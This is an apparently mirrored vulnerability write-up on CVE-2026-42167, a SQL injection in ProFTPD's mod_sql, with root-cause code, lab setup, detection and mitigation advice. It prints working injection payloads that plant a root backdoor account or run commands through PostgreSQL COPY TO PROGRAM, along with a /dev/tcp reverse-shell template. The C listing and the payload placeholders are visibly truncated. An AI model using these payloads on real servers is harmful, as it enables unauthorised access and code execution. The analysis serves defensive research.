Share
## https://sploitus.com/exploit?id=EDCFB5A3-3CC8-5AE9-A02F-CEC5BAD53863
# CVE-2026-42167 โ€” ProFTPD `mod_sql` SQL Injection / Auth Bypass / RCE

Independent reproduction, code-level root-cause walkthrough, and a frank
exposure analysis for **CVE-2026-42167** โ€” the `is_escaped_text()` bypass in
ProFTPD's `mod_sql` logging pipeline disclosed by ZeroPath Research and fixed
in ProFTPD 1.3.9a / 1.3.10rc1.

Built and verified end-to-end in Docker on macOS / Apple Silicon, 2026-04-29.

> **TL;DR โ€” see [Bottom line](#11-bottom-line) for the realistic exposure
> picture before deciding how worried to be. This is *not* a default-install
> bug, but the dangerous quoting pattern is the pattern the upstream docs
> tell you to use, so a large fraction of `mod_sql` deployments inherit it.**

| Field | Value |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection โ€” via PG `COPY TO PROGRAM`) |
| Affected | ProFTPD โ‰ค 1.3.9 with `mod_sql` + `SQLLog`/`SQLNamedQuery` whose format string interpolates an attacker-controlled variable inside single quotes |
| Fixed in | 1.3.9a (`af90843baโ€ฆ`) / 1.3.10rc1, see commit `e6f728481` ("Issue #2052") |
| Pinned vulnerable commit | `ae25959adb05ae1d6ebfa1f36bf778c9c34e9410` |
| Vulnerable file | `contrib/mod_sql.c` lines 741โ€“758 (`is_escaped_text`) and line 777 (`sql_resolved_append_text`) |
| Original disclosure | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| Public PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Release notes | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |

---

## 1. Root cause โ€” `is_escaped_text()` heuristic in `contrib/mod_sql.c`

`mod_sql` resolves logging format variables (`%U`, `%{basename}`, etc.) and
appends each piece into the rendered SQL via `sql_resolved_append_text()`.
To preserve backwards compatibility with admin configs that already wrap
variables in `'โ€ฆ'`, the function calls `is_escaped_text()` to decide
whether `sql_escapestring` is needed:

```c
/* contrib/mod_sql.c โ€” vulnerable commit ae25959 */
741  static int is_escaped_text(const char *text, size_t text_len) {
742    register unsigned int i;
743
744    if (text[0] != '\'')              return FALSE;
745    if (text[text_len-1] != '\'')     return FALSE;
746    for (i = 1; i '` skips
`sql_escapestring` and is concatenated raw into the final query.

The standard, documented config wraps `%U` / `%{basename}` / `%m` in single
quotes:

```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity
```

When the attacker sends `USER ''` (start- and end-quote, no
internal quotes), the resolver substitutes `%U` *unescaped*, producing
`''''` in the SQL โ€” the empty string literals close the
surrounding quotes and `` runs as raw SQL. With PostgreSQL
(`PQexec`) and SQLite (`sqlite3_exec`), stacked queries are supported, so
`` can be any sequence of statements.

Because `SQLLog ERR_*` fires on **failed** logins and `%U` is set from
`USER` *before* authentication, the attack is fully unauthenticated.

### The fix (commit `e6f728481`, "Issue #2052")

`sql_resolved_append_text()` gains an `already_escaped` parameter. Callers
that resolve values from client input pass `FALSE` and now go through
`sql_escapestring` unconditionally โ€” the `is_escaped_text()` heuristic is
still applied for the legitimate "config has pre-escaped value" path but
no longer applies to attacker-controlled data.

---

## 2. Lab environment

```
+--------------------+         FTP 21          +-----------------------+
|  attacker (host)   |    127.0.0.1:2121  |  proftpd-poc-server   |
|  python3 PoCs      |                        |  ProFTPD 1.3.9-pre    |
+--------------------+                        |  mod_sql_postgres     |
                                              +-----------+-----------+
                                                          | libpq
                                                          v
                                              +-----------------------+
                                              | proftpd-poc-postgres  |
                                              | PostgreSQL 15         |
                                              | role 'proftpd' = SU   |
                                              +-----------------------+
```

- Both containers stand up via `setup/docker-compose.yml`.
- `setup/proftpd.conf` enables the vulnerable logging config (see ยง1).
- `setup/seed.sql` creates `users`, `groups`, `activity_log`, `xfer_log`,
  and `secrets`, plus a single legitimate FTP user `ftpuser / ftppass`.

---

## 3. Reproduction โ€” copy/paste

Prerequisites: Docker Desktop, Python 3.10+, git. (`uv` is optional; the
PoCs are stdlib-only.)

```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce โ€” pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce โ€” post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce โ€” pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh
```

The two interactive variants in the upstream repo
(`preauth_user_rce.py`, `postauth_stor_rce.py`) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant โ€” just substitute the shell command for `bash -i >&
/dev/tcp// 0>&1` and listen on `` first.

---

## 4. The payloads, byte-for-byte

### Pre-auth backdoor (`USER` command, `%U`)

```
USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --'
PASS x
```

Why it works:

1. The **outer quotes + no internal quotes** match
   `is_escaped_text()` โ†’ escape skipped.
2. The configured `SQLNamedQuery` is `INSERT "'%U', '%r', '%m'" activity_log`,
   so the rendered SQL becomes
   `INSERT INTO activity_log VALUES('', '', '')` โ€” but
   `` itself starts with `'`, so the effective query is
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,โ€ฆ); --', '', '')`.
3. `--` comments out the trailing format slots.
4. `$$โ€ฆ$$` PostgreSQL dollar-quoting lets us pass strings (`backdoor`,
   `pwned123`, `/`, `/bin/bash`) without ever using `'` โ€” preserving the
   `is_escaped_text()` bypass.
5. `SQLLog ERR_*` fires on the failed login โ†’ `PQexec()` runs the stacked
   `INSERT INTO users` โ†’ backdoor account exists in the auth table.

### Post-auth backdoor (`STOR` filename, `%{basename}`)

```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
```

Same bypass, different trigger. `chr(47)` = `'/'` is used because
`/` in a filename is interpreted as a directory separator by FTP, so the
attacker can't put a literal `/` in the filename โ€” `chr()` lets the
backdoor account get `homedir = '/'` without sending one over the wire.

### Pre-auth RCE (`USER` + `COPY TO PROGRAM`)

```
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --'
PASS x
```

Where `` is any command. PostgreSQL runs it through `/bin/sh`
on the **database** host as the `postgres` OS user. Requires the DB role
used by `mod_sql` to be a superuser (or member of
`pg_execute_server_program`) โ€” common in single-tenant deployments and
the default for the official `postgres` Docker image when the role is
created via `POSTGRES_USER`.

---

## 5. Evidence captured during reproduction

| File | What it shows |
|---|---|
| `logs/01_preauth_backdoor.log` | Pre-auth PoC output, login as `backdoor` succeeds (`230`) |
| `logs/02_db_users_after.log` | `users` table now contains `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Post-auth PoC output via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Marker payload sent over FTP |
| `logs/06_users_final.log` | Final `users` table state |
| `logs/07_proftpd_trace.log` | ProFTPD's own trace log printing `text 'โ€ฆ' is already escaped, skipping escaping it again` for each injected payload โ€” direct evidence of `is_escaped_text()` returning TRUE on attacker input |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` written *by the postgres user* on the postgres container |
| `screenshots/*.png` | PNG renders of each captured terminal session |

The trace log line is the smoking gun:

```
2026-04-29 06:35:11,297 [548] : text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again
```

That message is emitted at `contrib/mod_sql.c:791` only when
`is_escaped_text()` returned TRUE โ€” i.e. exactly the bypass.

---

## 6. Detection / mitigation

**Detection (forensics on a deployed server):**
- `grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log`
  with `Trace sql:17` enabled flags every injection attempt that reached the
  bypass.
- Audit `activity_log` (or whichever table `SQLNamedQuery INSERT` writes into):
  rows where the username column starts with a stray quote, contains `null,
  null);`, or contains `INSERT`/`COPY TO PROGRAM`/`UPDATE` are evidence.
- Audit the `users` table for accounts with `uid=0`, `homedir='/'`, or shell
  set to a real shell when the policy is to use `/sbin/nologin`.

**Mitigation:**
- Upgrade ProFTPD โ‰ฅ 1.3.9a / 1.3.10rc1 (commit `e6f728481`).
- *Compensating control if upgrade is not yet possible:* drop attacker-
  controllable variables from `SQLNamedQuery` format strings (replace `'%U'`
  with the safer `%U` only inside parameterised backends, or use plaintext
  file-based logging for failed logins).
- *Defence-in-depth:* ensure the `mod_sql` PostgreSQL role is **not** a
  superuser โ€” that alone removes the `COPY TO PROGRAM` RCE path (the auth
  bypass via stacked `INSERT INTO users` still works, but the blast radius
  is contained to the proftpd database).

---

## 7. File map for this repository

```
.
โ”œโ”€โ”€ README.md                  # this file
โ”œโ”€โ”€ poc/                       # ZeroPath PoC, cloned
โ”‚   โ”œโ”€โ”€ README.md
โ”‚   โ”œโ”€โ”€ pocs/
โ”‚   โ”‚   โ”œโ”€โ”€ preauth_user_backdoor.py
โ”‚   โ”‚   โ”œโ”€โ”€ preauth_user_rce.py
โ”‚   โ”‚   โ”œโ”€โ”€ preauth_rce_marker.py        # added โ€” non-interactive RCE proof
โ”‚   โ”‚   โ”œโ”€โ”€ postauth_stor_backdoor.py
โ”‚   โ”‚   โ””โ”€โ”€ postauth_stor_rce.py
โ”‚   โ””โ”€โ”€ setup/
โ”‚       โ”œโ”€โ”€ docker-compose.yml
โ”‚       โ”œโ”€โ”€ Dockerfile.proftpd
โ”‚       โ”œโ”€โ”€ proftpd.conf
โ”‚       โ”œโ”€โ”€ seed.sql
โ”‚       โ”œโ”€โ”€ setup.sh
โ”‚       โ””โ”€โ”€ teardown.sh
โ”œโ”€โ”€ logs/                      # raw terminal output captured during reproduction
โ””โ”€โ”€ screenshots/               # PNG renders of each log
    โ”œโ”€โ”€ 00_overview.png
    โ”œโ”€โ”€ 01_preauth_backdoor.png
    โ”œโ”€โ”€ 02_db_users_after.png
    โ”œโ”€โ”€ 03_postauth_stor_backdoor.png
    โ”œโ”€โ”€ 04_preauth_rce_marker.png
    โ”œโ”€โ”€ 05_rce_proof.png
    โ”œโ”€โ”€ 06_proftpd_trace.png
    โ””โ”€โ”€ 07_users_final.png
```

---

## 8. Is this realistic โ€” or a contrived edge case?

The honest answer: **narrower than a "send-one-packet-and-own-the-server"
worm, but the vulnerable pattern is in ProFTPD's own documentation, so it's
not contrived.** Three independent dimensions decide whether a given
deployment is hit, and each one whittles down the population.

### 8.1 Is `mod_sql` even loaded?

`mod_sql` is opt-in. It's **not** in the default ProFTPD build and not in
the default config of distro packages like Debian's `proftpd-basic`. You
only have it if:

- You compiled with `--with-modules=mod_sql:mod_sql_`, or
- You installed a backend-specific package: Debian `proftpd-mod-pgsql` /
  `proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` /
  `proftpd-mysql`.

People install those packages for a clear reason: SQL-backed
**authentication** (users in a DB instead of `/etc/passwd`) or SQL-backed
**activity logging** for audit. Both are common in shared-hosting,
managed-FTP, and corporate FTP-drop deployments. So `mod_sql` is a real
chunk of the install base โ€” just not "every server."

### 8.2 Is the vulnerable `SQLNamedQuery` pattern actually used?

This is where realism is highest. The pattern that triggers the bug *is the
documented one.* Examples lifted directly from the upstream tree at the
pinned vulnerable commit:

```
# doc/contrib/mod_sql.html  โ”€โ”€ canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload
```

Every one wraps an attacker-controlled variable (`%u`, `%r`) in single
quotes โ€” exactly the shape `is_escaped_text()` mis-classifies. An admin
who copy-pastes from the upstream docs **inherits the vulnerable pattern.**
That's the headline reason to take this seriously.

### 8.3 Pre-auth vs post-auth

The fully-unauthenticated path (`USER` + `%U` + `SQLLog ERR_*`) is the
**narrowest** case. It requires all three:

- A `SQLNamedQuery` interpolating `%U` (original-username, set even on
  failed login) inside single quotes โ€” less common than `%u` in real
  configs, since most admins want the *successful* username for audit and
  use `%u`.
- A `SQLLog` directive that fires before authentication. `SQLLog ERR_*` is
  the canonical wildcard for that. `SQLLog PASS โ€ฆ` and `SQLLog STOR โ€ฆ`
  (the most common forms) do **not**.
- A backend that supports stacked queries (PostgreSQL or SQLite โ€” see ยง8.4).

If the config uses `%u` rather than `%U`, the same bug still produces
auth-bypass โ€” but only **post-auth**, i.e. the attacker first needs *any*
working credentials before they can plant a uid=0 backdoor. In most real
configs this is the realistic exposure: **low-privilege FTP user โ†’ root-
equivalent FTP user via one upload.**

### 8.4 Backend matters a lot

The bypass fires identically on every backend, but what the attacker can
*do* differs sharply:

| Backend | Stacked queries? | Auth bypass via `INSERT INTO users` | RCE on DB host |
|---|---|---|---|
| **PostgreSQL** | Yes (`PQexec`) | Works | **Yes** via `COPY TO PROGRAM` if DB role is superuser |
| **SQLite** | Yes (`sqlite3_exec`) | Works (and the FTP worker often has `PRIVS_ROOT` โ€” even worse) | No direct equivalent, but writable `users` table โ†’ root FTP login |
| **MySQL** | **No** โ€” `mysql_real_query` w/o `CLIENT_MULTI_STATEMENTS` | Cannot append a second statement; reduces to single-statement subquery / blind SQLi for data exfil only | No |

PostgreSQL or SQLite โ‡’ full impact. MySQL โ‡’ data leakage / time-based
blind only. MySQL is by far the most common backend for shared hosting
(cPanel, Plesk, ISPConfig all default to it); PostgreSQL is more common in
custom enterprise builds. Both populations are non-trivial.

### 8.5 RCE has its own gate

The headline `COPY TO PROGRAM` RCE additionally requires the `mod_sql`
PostgreSQL role to be a **superuser** (or a member of
`pg_execute_server_program`). That's:

- **Common** when the DB was created with the official `postgres` Docker
  image's `POSTGRES_USER` env var (the default for most PoC labs and many
  appliance images, including this repo's `setup/`).
- **Common** when ProFTPD owns its own DB instance (single-tenant
  deployments, hosted appliance images).
- **Less common** when DBA-led provisioning created the role with
  least-privilege.

If the role is *not* a superuser, you still get the auth-bypass primitive
(itself critical), but the OS-level RCE on the DB host disappears.

---

## 9. Putting it together โ€” who is realistically exposed

```
ProFTPD installs
โ””โ”€โ”€ ~with mod_sql loaded   โ†โ”€โ”€ opt-in but common in shared/managed FTP
    โ”œโ”€โ”€ ~with the canonical SQLNamedQuery INSERT pattern (most do โ€” it's
    โ”‚   the documented form)
    โ”‚   โ”œโ”€โ”€ PostgreSQL backend
    โ”‚   โ”‚   โ”œโ”€โ”€ DB role = superuser  โ†’  pre-/post-auth RCE on DB host
    โ”‚   โ”‚   โ””โ”€โ”€ DB role โ‰  superuser  โ†’  post-auth root FTP backdoor (auth bypass)
    โ”‚   โ”œโ”€โ”€ SQLite backend           โ†’  post-auth root FTP backdoor
    โ”‚   โ”‚                                (worker often runs as root โ†’ very bad)
    โ”‚   โ””โ”€โ”€ MySQL backend            โ†’  post-auth blind SQLi / data exfil only
    โ””โ”€โ”€ ~with attacker-controlled %U + SQLLog ERR_* (uncommon)
                                     โ†’  fully pre-auth versions of the above
```

---

## 10. Recommendation

For anyone running ProFTPD `mod_sql`:

- **Upgrade** to โ‰ฅ 1.3.9a regardless. It's the only complete fix.
- **Compensating controls** until you can patch:
  - Drop the DB role to **non-superuser** โ€” kills the RCE branch on
    PostgreSQL.
  - Audit your `users` / auth table for stray `uid=0` rows or recently-
    added accounts โ€” see ยง6.
  - Enable `Trace sql:17` and grep
    `is already escaped, skipping escaping it again` in `trace.log` โ€” that
    line is direct evidence of an attempted bypass.
  - If feasible, drop `SQLLog ERR_*` directives and any
    `SQLNamedQuery INSERT` formats that interpolate `%U` (the pre-auth
    primitive). The post-auth path will still exist via `%u` /
    `%{basename}`, but you remove the worst case.

---

## 11. Bottom line

- This is **not** a "default install vulnerability" โ€” you have to be
  running `mod_sql`.
- It **is** a "follow-the-docs vulnerability" โ€” the dangerous quoting
  pattern is the official one, copy-pasted across the upstream HOWTOs.
- The **fully unauthenticated** scenario from the headline is real but
  requires a specific (pre-auth `%U` + `SQLLog ERR_*` wildcard) config
  combo that is less common than the post-auth path.
- The **post-auth privilege escalation** scenario (any FTP user โ†’ uid=0
  FTP backdoor) is the much more realistic one and applies to a large
  fraction of `mod_sql` + PostgreSQL/SQLite deployments using the
  documented logging patterns.
- The **OS-level RCE on the DB host** is gated on the DB role being a
  superuser โ€” common in single-tenant / appliance-style setups, less
  common in DBA-managed environments.

---

## Credits

- Vulnerability discovered and originally disclosed by
  [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Public PoC repository:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Fix by TJ Saunders, commit
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  ("Issue #2052").

This repository is independent reproduction and analysis for defensive
research and education. No 0-day. Use only on systems you are authorised
to test.